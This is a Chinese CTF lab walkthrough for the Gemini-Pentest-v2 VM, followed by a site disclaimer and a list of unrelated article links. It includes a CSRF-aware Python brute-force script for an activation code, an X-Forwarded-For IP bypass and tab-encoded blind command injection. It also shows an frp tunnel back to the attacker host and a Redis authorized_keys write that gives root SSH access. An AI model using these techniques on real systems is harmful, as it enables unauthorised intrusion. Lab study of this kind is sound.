18、Gemini-Pentest-v2

难度 中

目标 root权限 一个flag

靶机启动环境为VMware

kali 192.168.152.56 靶机 192.168.152.63

信息收集

web测试

访问80端口

上面介绍了一下这个系统是一个内部系统,让员工查看他们的个人资料还可以导出为PDF

页面还有一个链接是UserList可以访问但是页面什么都没有显示,怀疑可能是没有权限或者需要什么参数

继续目录扫描

基本都存在目录遍历,但是都是些php文件

使用gobuster扫描

gobuster dir -u http://192.168.152.63/ -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -x txt,php,html

有一个黑名单

但是不知道这是哪个文件接收的参数,用上面跑出来的文件做了个字典去跑也没有发现

然后去看每个可以访问的页面,发现注册页面应该可以注册一个账户登录进去,还发现一个激活页面也可以访问有东西,其他的页面都是403以及需要登录的admin

尝试注册admin发现提示账号已存在

注册一个admin123,确实注册成功了,又提示需要激活

大概是需要上面那个激活页面进行激活吧

但是激活需要userid,在页面找了一圈发现在这个profile,点了会卡一会然后就是跳转但是跳转没用会在url显示userid

前面说激活码是6位数字那么可以尝试爆破一遍(15是我一开始跑截的图)

数目有点大估计得要一段时间

服了跑了一会发现很慢然后发现全是403发现有token验证。。。

于是写个简单的脚本进行跑,当然也可以使用bp的宏定义。

import requests
from bs4 import BeautifulSoupurl='http://192.168.152.63/activate.php'session = requests.Session()  #保持会话
response = session.get(url)
text=response.textsoup = BeautifulSoup(text, 'html.parser')
token_value = soup.find('input', {'name': 'token'})['value']
# 生成从000000到999999的所有数字字符串
for i in range(1000000):number_str = f"{i:06d}"  # 使用格式化字符串,确保数字是6位,不足的前面补0data={'userid':15,'activation_code':number_str,'token':token_value}re = session.post(url=url, data=data)soup = BeautifulSoup(re.text, 'html.parser')token_value = soup.find('input', {'name': 'token'})['value']print(number_str)if re.status_code!=403:print('——————————————————————————————————————————————')break

写脚本还遇到一个之前没有注意的地方就是data数据如果用这个{}格式的字典会自动的进行url编码的,我一开始直接把post数据当成字符串进行传输发现一只是无效的token后面发现需要有url编码也就是请求头里有个Content-Type: application/x-www-form-urlencoded

激活码作者没有给很大的数字也是很快就跑出来了,而且是固定的000511。

再次访问就可以正常登录了

然后在这些新功能点翻一翻,测一测SQL注入啥的

翻了一圈没发现什么东西,最后在9emin1中发现泄露了密码的HASH

此账号为管理员

 

找个在线的解密网站 9emin1 secretpassword

不过使用9emin1 secretpassword没登录成功。。。

突然想到注册的时候有个账号名和一个昵称,又回去看了一下每个账号后面都有一个括号又有一个名字

于是使用 Gemini secretpassword登录成功了

尝试放我上面admin才有的功能点有个执行命令但是都403

看数据包发现是ip不允许

使用插件生成的ip可以绕过

具体尝试发现X-Forwarded-For: 127.0.0.1就可以

突破边界

在执行命令这里发现了前面黑名单出现的命令执行的参数testcmd

不过我尝试输入了几个命令并没有什么回显(注意这里也要有Content-Type: application/x-www-form-urlencoded才会执行,token也要对)

怀疑是无回显的根据黑名单的内容发现过滤了空格

找了一下可以替代空格的方式,发现黑名单中还过滤了{}最后发现%09可以替代

这里应该是没有curl命令。

一开始想尝试OOB带外数据的但是发现很多都被过滤了估计不太行,想了一下很多命令不行那么试着先上传msf的后门试试

但是尝试了并没有成功的上线后门

尝试上传一个sh文件看能执行不

然后执行

bash%09/tmp/jiaoben

成功的执行了,这里只能用bash不能用bin/bash不知道为什么

提权

使用

SHELL=/bin/bash script -q /dev/null

提升一下shell

在家目录下面看了下历史记录没啥,也就一个这个Gnupg没有见过有点可疑,去网上搜了一下是一个加密的东西,没看太懂

上传了提权辅助脚本进行了一下信息的收集,收获到一下比较可疑的内容

/var/backups/alternatives.tar.0

/home/gemini1/.gnupg/trustdb.gpg

/home/gemini1/.gnupg/pubring.kbx

usr/bin/wkhtmltopdf

/usr/bin/gettext.sh

同时查看发现开启了redis和mysql数据库

同时发现redis是root权限启动,mysql只是mysql权限启动

redis有一些手法的前提就是root权限启动的服务

但是在命令行运行会有问题,我怀疑是shell的问题

frps.toml的配置

然后将frpc 和frpc.toml传上去赋予执行权限、

然后先在kali启动frps

./frps -c ./frps.toml

然后再在靶机上启动

nohup ./frpc -c ./frpc.toml > output.log 2>&1 &

然后发现需要密码

一开始准备用msf的代理转发的但是不知道为什么没代理上,只能退其次选择内网穿透使用frp

现在本地修改一下frpc.toml的内容,将本地的6379穿透到kali的1088端口

redis的密码可以在配置文件中查看

cat /etc/redis/6379.conf

8a7b86a2cd89d96dfcc125ebcc0535e6

刚才登录后查看有没有什么东西

发现有个秘钥,将秘钥cp到本地后尝试使用公私钥连接发现连不上。。。

那么只能选择写入公钥的方式了

现在本地生成公私钥

然后先将公钥写入一个txt中间加一些换行

(echo -e "\n\n";cat Gemini.pub;echo -e "\n\n")>Gemini.txt

这是因为在写入的过程中会出现一些乱码影响

将公钥写入redis内存中,也就是保存到数据库

cat Gemini.txt|redis-cli -h 127.0.0.1 -p 1088 -a 8a7b86a2cd89d96dfcc125ebcc0535e6 -x set gongyao

然后

config set dir /root/.ssh

config set dbfilename authorized_keys

save

这就成功的将公钥写入数据库了

现在可以尝试使用ssh进行连接了

指定私钥进行连接

ssh -i Gemini root@192.168.152.63

查看flag

 总结

        算是比较麻烦的靶场,无回显的rce并且是不太清楚的环境的情况下也不知道什么命令可以执行。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/415207.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

前端【CSDN创作优化3】CSDN自定义模块:解决保存CSDN自定义模块时显示fail

【CSDN创作优化3】CSDN自定义模块:解决保存CSDN自定义模块时显示fail 写在最前面遇到的问题:保存CSDN自定义模块时显示fail1.符号问题:删除所有符号2.超出字符长度限制:压缩保存3.li模块不见了:小窗口正常显示元素 &am…

补题篇--codeforces

传送门:Problem - G - Codeforces 题意: 思路: 注意: n 的范围很小,大概率考察状态压缩 因此这个题可以考虑用 状压dp f[i][j] 表示状态为 i 的选法,以第 j 首歌为结尾的播放列表中的歌曲总数 f[ i | …

codeforces Round 970 (Div. 3)(A-F)

文章目录 [Codeforces Round 970 (Div. 3)](https://codeforces.com/contest/2008)A-[Sakurakos Exam](https://codeforces.com/contest/2008/problem/A)B-[Square or Not](https://codeforces.com/contest/2008/problem/B)C-[Longest Good Array](https://codeforces.com/cont…

Linux_kernel汇编04

一、温故知新 1、Uboot的操作 1)Uboot的简介 需要确定一点,系统上电后,Uboot是第一个执行的系统软件。 类似PC机上的BIOS(Basic Input Output System) Uboot的核心功能: 【1】负责初始化硬件 【2】负责加载…

C++入门基础知识47——【关于C++函数】之函数参数及参数默认值

成长路上不孤单😊【14后,C爱好者,持续分享所学,如有需要欢迎收藏转发😊😊😊😊😊😊😊!!!!&#xff…

MQ专题:消息积压相关问题和解决思路

一、如何发现消息出现了堆积 二、常见的原因及解决方案 三、消息出现了大量堆积,如何解决 四、建议

Android Studio gradle下载太慢了!怎么办?(已解决)

Android Studio!你到底干了什么?! 不能高速下载gradle,我等如何进行app编程?! 很简单,我修改gradle地址不就是了。 找到gradle-wrapper.properties文件 修改其中distributionUrl的地址。 将 ht…

Axure健康助理小程序原型图70+页,医疗类高保真高交互模板

作品概况 页面数量:共 70 页 源文件格式:限 Axure RP 9/10,非app软件无源码 适用领域:医疗健康、健康助理 作品特色 本作品为健康助理小程序的Axure原型设计图,属于医疗健康项目,设计规范内容清晰&#…

SVN介绍和使用

一、SVN(Subversion) SVN 是一种版本控制系统,可以用于管理和控制文件的变更。以下是SVN的基本使用步骤: 安装SVN:首先,您需要在计算机上安装SVN客户端。您可以从Subversion官方网站下载安装程序&#xff…

SQL 五十周年:何去何从?

原文地址 https://www.infoworld.com/article/2337457/sql-at-50-whats-next-for-the-structured-query-language.html SQL 即使被生成式 AI 隐藏在幕后,也将继续在数据交互和使用方面发挥关键作用。 CREDIT: PAVEL L PHOTO AND VIDEO / SHUTTERSTOCK 1974 年 5 月…

苹果手机升级iOS 18时一直显示“正在检测更新”怎么办?

随着科技的不断发展,苹果手机的iOS系统也在不断迭代更新,为用户带来更加优质的使用体验。然而,在升级iOS 18的过程中,一些用户可能会遇到手机一直显示“正在检测更新”的问题,导致无法顺利完成系统升级。 这种情况不仅…

Vitis AI 综合实践(DPU example: dpu_resnet50.ipynb)

目录 1. 简介 2. 代码解析 2.1 导入库 2.2 图像预处理 2.3 读取标签 2.4 读取图像 2.5 获取IO形状 2.6 申请内存 2.7 运行推理 2.8 后处理 3. 相关类的介绍 3.1 DpuOverlay 类 3.2 Overlay 类 3.3 Bitsteam 类 3.4 Device 类 3.5 DeviceMeta 元类 3.6 type 类…

mysql优化案例分享

一、mysql介绍 1、InnoDB引擎 mysql5.5.8版本开始后。InnoDB引擎就是默认存储引擎,本文介绍知识点也都是围绕该引擎展开。 知识点1聚集存储 InnoDB引擎采用聚集存储,即每张表的存储都是主键的顺序进行存放,也就是每行存储的物理顺序和主键…

TCP/IP 报文传输过程

目录 1. 概念理解2. 传输过程 原文回到 TCP/IP 强烈推荐下面博客,详细阐述了TCP/IP协议概念和传输过程 TCP协议详解 (史上最全) 1. 概念理解 2. 传输过程 以一个具体例子为例,如下图所示,由A 给 F 发送一个数据包整个过程是怎样的

米家“智能中枢网关”和“智能多模网关”有什么区别?

文章目录 中枢网关(Central Gateway)多模网关(Multi-Mode Gateway)对比总结 中枢网关(Central Gateway) 定义: 中枢网关是整个网络系统中的核心设备,负责连接和管理不同子网或设备之…

前端三件套配合MarsCode实现钉钉官网动画 # 豆包MarsCode

文章目录 如何固定动画区域创建项目MarsCode 设置样式MarsCode 优点1MarsCode 缺点MarsCode 优点2 js实现动画实现获取动画曲线的函数为什么实现这个函数?根据当前滚动位置,计算每一个元素不同的数值更新 dom 的 style更新 animationMapgetDomAnimation …

23 - 模块独立编译的支持

---- 整理自狄泰软件唐佐林老师课程 文章目录 1. 模块独立编译的支持1.1 问题1.2 背景1.3 解决方案1.4 关键技术点 2. makefile 中的代码复用3. 实验 1. 模块独立编译的支持 1.1 问题 一般而言,不同工程师负责不同模块的开发,编译环境中如何支持模块的…

MQ专题:顺序消息落地方案

一、什么是顺序消息 投递消息的顺序和消费消息的顺序一致。 比如生产者按顺序投递了1/2/3/4/5 这 5 条消息,那么消费的时候也必须按照1到5的顺序消费这些消息。 二、顺序消息如何实现?(2种方案) 方案1:生产者串行发…

【esp32】VScode添加库

以添加PubSubClient库为例 如图操作,在搜索框输入PubSubClient,点击下载 给你的某一个工程添加该库 编译成功

前端跨域问题详解与解决方案指南

什么是跨域问题 跨域问题通常是由浏览器的同源策略(Same-OriginPolicy,SOP)引起的访问问题 同源策略是浏览器的一个重要安全机制,它用于限制一个来源的文档或脚本如何能够与另一个来源的资源进行交互 同源策略的定义 同源策略要…